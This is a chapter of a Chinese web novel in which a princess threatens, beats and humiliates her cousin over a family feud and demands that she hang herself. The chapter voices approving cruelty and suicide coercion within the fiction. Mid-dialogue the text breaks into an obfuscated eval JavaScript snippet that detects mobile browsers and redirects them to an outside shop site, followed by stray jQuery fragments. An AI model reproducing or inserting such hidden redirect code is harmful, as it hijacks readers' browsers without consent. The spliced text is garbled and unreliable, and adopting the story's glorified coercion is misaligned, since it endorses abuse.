文趣网 > 其他小说 > 软弱公主不忍了 > 57. 忍一时可以,一世却不行
    婢女们一个接一个捂住鼻子出来,房中酒气难掩。

    述言推开房门。

    刺鼻的酒气呛的人头疼。

    述言脚步轻轻地走进去。

    屋内。

    女人凄厉的叫声大的要震聋别人的耳朵。

    述言不悦皱眉,脚步却未停下。

    屋内有些凌乱。

    述言轻笑一声,“表妹,早上好。”

    少女一把拉开纱帘,她望着面前的述言,“我这是在哪里?”

    述言脱下身上斗篷,嫌弃地扔了过去。

    “表妹先穿身得体衣服,我再与你谈。”

    述言实在受不了这股酒气,捂着鼻子退了出去。

    过了一会,屋内人总算是穿戴好出来了。

    少女一出门就看到了在外面等候的公主。

    她俯身行了一礼,“殿下安。”

    “表妹可真是让我好等。”述言缓缓站起,“昨夜才下了雨,今早上真是凉的很。”

    “快入秋了,近日天气多风雨,”述言关心道,“表妹可要多多加衣,不要过多饮酒,省得风寒入体,到时可就不好了。”

    站在对面少女没听懂似的。

    她道,“天寒了,殿下也要多多加衣”

    述言看她这幅样子,也不再藏着。

    “昨夜发生了什么?”述言捂嘴笑了笑,“需要我帮表妹仔仔细细想一想吗?”

    “殿下说的,妾听不懂。”

    述言失望地摇了摇头。

    “我最讨厌说假话的人了,其次就是妄想骗我的。”述言走向她,她边走边问,“你知道我一般会怎么惩罚这种人吗?”

    述言离她愈发的近,“我会拔了他们的舌头喂狗,然后宰了他们。”

    述言道,“我很不喜欢别人说假话。”

    “表妹觉得你是说了假话?还是妄想骗我?”述言问,“表妹不会是不想回答我吧?”

    述言走到她面前,钳住少女的下巴,掩藏在衣物下的痕迹也瞬时显露了出来。

    “表妹想要我说出来吗?”

    她吃痛“嘶”了一声,一把拍开述言的手,“殿下说的什么妾不知。”

    见她依旧不承认,述言无奈叹了口气。

    述言拍拍她的肩,她道,“表妹就算此刻不说,过了今日我也会帮你说出口的,不过到时可能就不止是我一个人知道了。”

    “说不定到了那时候,表妹会比京里戏班中唱的最好的小牡丹还要红火,还要引人注意。”

    述言赤裸裸地威胁。

    “妾不明白。”

    述言阴沉下脸,说道,“你的父亲,惹得我很不高兴。我不高兴也不想他高兴,所以,我为了叫他不高兴,特意……”

    述言没再说下去。

    “我不是一个习惯逆来顺受的人,所以就用了些小手段,我没有的,他也不能有。”述言意有所指道,“可是我有的,他也不能没有。所以我把我有的,也送了他一份。”

    “你……你……”

    少女显然被这番话激怒,她扬起手就要打她。

    述言一个转身,躲开了。

    反而是她,扑了个空。

    “妓女,娼妇,还有个不要脸的贱人。”述言细细数落起来,“我也送给你,你回去后一定要告诉你父亲,告诉他我送他的礼物。”

    “我回去后便投湖自尽,绝不让你有……”

    述言毫不留情地给了她一个巴掌。

    “和你说话,真是太麻烦了。”她甩了甩手,“你要死要活同我没有半毛钱关系,你要怪就只能怪你家那个蠢的,做了这些事居然觉得我会息事宁人。”

    “毕竟你要我杀你,我有很多种办法弄死你,”述言话语虽狠辣,脸上却是带笑的,“不仅有你,如果我想,我还要你母亲,父亲,哥哥全部下去陪你。”

    “疯妇,你就是个疯妇。”少女怒火再也压不住,“你做这些只是为了报复?那别人的命和清白去报复,你与畜生有何不同?”

    述言勾唇浅笑,“拿别人的命和清白去报复?这句话你对我说那不对。”

    述言凑到她耳边,声音轻的好似勾魂恶鬼,“你父亲不也是这样做的吗?可真是个不折不扣的畜生啊。”

    “不过他没有这么蠢。”述言道,“可若不是他,我也不知道应该是谁了?”

    “你母亲?还不至于蠢成这样。”

    一阵冷风吹来,吹的少女发抖。

    “我分不清是谁,那就委屈你们全家都做一遍畜生了。”

    “深夜时分,喝醉了酒的孤男寡女共处一室,衣衫凌乱。”

    一切都不言而喻。

    “你……你……你……”

    她被噎的说不上话。

    “表妹别着急!我还没有说完。”

    “嫂嫂……我知错了。”

    述言脸色沉了下来。

    述言道,“敢这样称呼我?你算个什么东西?”

    她跪下,“殿下,且知错。”

    “你错在哪里?”述言问。

    “妾错在殿下提醒了过错,可妾还是明知故犯,妾知错请殿下责罚。”

    述言无辜道,“我什么时候说过你做错了?”

    看着地上人那倔犟不服的眼神,述言笑了起来。

    她看戏似的,说道,“我很喜欢刁难人,尤其是不听话的人。”

    少女也不再忍了,她直言问,“殿下到底想要做什么?”

    述言被说中心思。

    她很是高兴道,“你父亲让我很不开心,这很不公平,我只是也让他很不开心,可在我看来却还是有些不公平……。”

    “要我说,就要以其人之道还治其人之身,将委屈一件一件还回去,”述言道,“我会用尽手段平我心中委屈,让你全家全部下地狱去,才是谓公平。”

    “你又算什么?”少女抬起头,直视述言,她说道,“你之前在宫中不过是别人身边随意打骂的一条狗,不过得了一点权势,就在这里当上霸王了?”

    “一条狗吗?”述言沉默了片刻,她点点头,“之前的确是。”

    “可现在不是了。”

    述言说道,“现在变成狗的不是你吗?”

    “你惹得我好不高兴啊,我会让你身败名裂,一辈子抬不起头,最后再被你的家人亲手勒死。”

    述言如同稚童说玩笑话似的,她天真地问,“表妹喜欢吗?”

    述言拿起石桌上摆放着的茶杯托盘,“或者我现在就弄死你,把你烧成灰,撒在你家人的饭食里,你们也算死在一起。”

    “我很不高兴。”

    接着只听木头断裂声。

    少女应声倒地,鲜血顺着发丝一滴滴落下来。

    “你以为我是什么很好说话的人吗?”

    述言踩着她的手,“在李清雨死后还没有人敢这样和我说话,你也算第一个。”她要杀人似的,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599983|202381||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无论是谁,都不能对我说这种话,说了就要死,哪怕是顾子渡我也会毫不犹豫地杀了他。”

    少女呆呆地躺在地上,血流了一地。她好似感知不到疼了,一言不发。

    述言手被碎渣划破了,伤口流了血。

    “我这人最是心善,也不会这么早让你去死,”述言说道,“我便为你指条明路,如果你想要你全家活……”

    述言犹豫了一下,随后平静说道,“你回去写下一封告罪书,然后吊死在你家门前,好不好?”

    少女这时才反应过来,不知是不是被吓得,她止不住地尖叫起来。

    述言听的心烦。

    她终于停下喊叫,“贱人,你欺人太甚,我要告诉父亲,我要让他杀了你。”

    “你当然也可以不这样做,也可以去官府告发我,告诉他们我是个多么狠毒的恶人。”述言不紧不慢道,“反正我不会有任何事。但我保证,我会让你死的比这个凄惨千倍。”

    “我会放你回去,但如果你明天没有死,”述言意味深长道,“我在顾府安排的人手会亲手将你挂上去。”

    地上的少女此刻才真正感受到了恐惧。

    她跪在地上,抓住述言的衣角。

    “留下妾,妾很有用的。”

    述言居高临下地望着她,她看的颇有兴趣,“你现在的样子就像跪在地上乞求别人怜悯的一条狗。”

    述言看着她,就好似看到了当年的自己,可与之前不同,她不会去可怜她。

    因为她太弱了。

    述言直到今日才明白,当年那群人为何要戏弄嘲笑自己。

    只是因为自己太弱了。

    玩弄弱者,本身就很有意思。

    少女还在说着,述言却一句都不想再听。

    述言做了个嘘的手势。

    对方终于静了下来。

    述言缓缓道,“我不喜欢有用的人,我最喜欢听话的人。你若真死心塌地为我着想,你就去死吧。”

    “我还有家书要看,就不再相陪了。”

    述言转身欲走。

    少女却发了疯似的扑了上来。

    述言敏锐地注意到,她侧过身子。

    少女终是扑了个空。

    述言回过头,看地上人狼狈的模样摇了摇头。

    述言冷冷看她一眼,“你是不是真的想死在这里?”

    述言不想再理她,转过身便走。

    身后怒骂的话也愈发难听。

    从“李云不得好死。”到“被砍头的贱人”。

    怎样难听的都有。

    述言笑了,这京中端庄的世家小姐,好像也没那么好。

    不过是身上披了张文雅皮,内里的芯子却不似这般。

    她们和自己也算同一类人。

    虚伪又恶毒。

    回了房,述言拆开桌上的信。

    “殿下喝茶。”

    子姜为她斟了杯茶。

    述言看完了信,笑了出来。

    “殿下笑什么?”子姜问。

    述言看着信中的内容,她道,“我笑有些人嘴硬,明明被人看不起还要忍耐。”

    子姜不明所以问,“不好吗?”

    “不好。”述言道,“不发狠,别人还真是不会将你当人看待的,他们只会觉得你好欺负,忍一时可以,一世却不行。”

    述言将信撕烂。

    要快些解决这些烦心事,毕竟有些人需要她。